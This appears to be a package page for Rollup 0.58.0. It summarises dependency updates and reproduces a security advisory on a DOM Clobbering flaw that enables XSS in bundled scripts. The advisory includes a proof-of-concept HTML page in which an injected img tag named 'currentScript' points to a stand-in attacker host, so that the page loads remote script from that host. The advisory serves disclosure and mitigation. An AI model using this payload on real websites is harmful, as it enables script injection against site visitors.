Rollup 0.58.0 is a minor release focusing on dependency updates and refinements rather than groundbreaking new features for this cutting-edge ES6 module bundler. Key differences from the prior 0.57.1 version lie primarily in the updated dependency management, impacting the toolchain and potentially build processes.
Specifically, 0.58.0 introduces a dependency on @types/estree version 0.0.38, not present in 0.57.1, which provides TypeScript definitions for the ESTree (acorn) Abstract Syntax Tree specification, meaning improved type checking when working with abstract syntax trees. Also, rollup dependency version is updated from ^0.56.5 to ^0.57.1. Core dependencies such as Acorn, date-time, pretty-ms, signal-exit, @types/acorn, is-reference, sourcemap-codec, locate-character, require-relative and rollup-pluginutils have remained consistent between the two releases.
Developers upgrading should note changes in devDependencies. Execa goes from 0.9.0 to 0.10.0, eslint from 4.18.2 to 4.19.1 and Typescript from 2.7.2 to 2.8.1. This might involve adjustments to existing linting, testing, and build configurations. source-map-support is updated to 0.5.4 from 0.5.3.
The unpacked size of 0.58.0 is marginally larger, suggesting the addition of code or updated dependencies. While the core functionality remains consistent, developers need to consider these dependency updates, as they represent improvements, bug fixes and potential breaking changes, encouraging a test-driven approach during the upgrade process. Stay current with latest rollup release, es6 module bundler, javascript build tools, rollup changelog.
All the vulnerabilities related to the version 0.58.0 of the package
DOM Clobbering Gadget found in rollup bundled scripts that leads to XSS
We discovered a DOM Clobbering vulnerability in rollup when bundling scripts that use import.meta.url
or with plugins that emit and reference asset files from code in cjs
/umd
/iife
format. The DOM Clobbering gadget can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img
tag with an unsanitized name
attribute) are present.
It's worth noting that we’ve identifed similar issues in other popular bundlers like Webpack (CVE-2024-43788), which might serve as a good reference.
DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:
[1] https://scnps.co/papers/sp23_domclob.pdf [2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/
rollup
We have identified a DOM Clobbering vulnerability in rollup
bundled scripts, particularly when the scripts uses import.meta
and set output in format of cjs
/umd
/iife
. In such cases, rollup
replaces meta property with the URL retrieved from document.currentScript
.
https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L157-L162
https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L180-L185
However, this implementation is vulnerable to a DOM Clobbering attack. The document.currentScript
lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src
attribute of the attacker-controlled element (e.g., an img
tag ) is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.
Considering a website that contains the following main.js
script, the devloper decides to use the rollup
to bundle up the program: rollup main.js --format cjs --file bundle.js
.
var s = document.createElement('script')
s.src = import.meta.url + 'extra.js'
document.head.append(s)
The output bundle.js
is shown in the following code snippet.
'use strict';
var _documentCurrentScript = typeof document !== 'undefined' ? document.currentScript : null;
var s = document.createElement('script');
s.src = (typeof document === 'undefined' ? require('u' + 'rl').pathToFileURL(__filename).href : (_documentCurrentScript && False && _documentCurrentScript.src || new URL('bundle.js', document.baseURI).href)) + 'extra.js';
document.head.append(s);
Adding the rollup
bundled script, bundle.js
, as part of the web page source code, the page could load the extra.js
file from the attacker's domain, attacker.controlled.server
due to the introduced gadget during bundling. The attacker only needs to insert an img
tag with the name attribute set to currentScript
. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.
<!DOCTYPE html>
<html>
<head>
<title>rollup Example</title>
<!-- Attacker-controlled Script-less HTML Element starts--!>
<img name="currentScript" src="https://attacker.controlled.server/"></img>
<!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="bundle.js"></script>
<body>
</body>
</html>
This vulnerability can result in cross-site scripting (XSS) attacks on websites that include rollup-bundled files (configured with an output format of cjs
, iife
, or umd
and use import.meta
) and allow users to inject certain scriptless HTML tags without properly sanitizing the name
or id
attributes.
Patching the following two functions with type checking would be effective mitigations against DOM Clobbering attack.
const getRelativeUrlFromDocument = (relativePath: string, umd = false) =>
getResolveUrl(
`'${escapeId(relativePath)}', ${
umd ? `typeof document === 'undefined' ? location.href : ` : ''
}document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`
);
const getUrlFromDocument = (chunkId: string, umd = false) =>
`${
umd ? `typeof document === 'undefined' ? location.href : ` : ''
}(${DOCUMENT_CURRENT_SCRIPT} && ${DOCUMENT_CURRENT_SCRIPT}.tagName.toUpperCase() === 'SCRIPT' &&${DOCUMENT_CURRENT_SCRIPT}.src || new URL('${escapeId(
chunkId
)}', document.baseURI).href)`;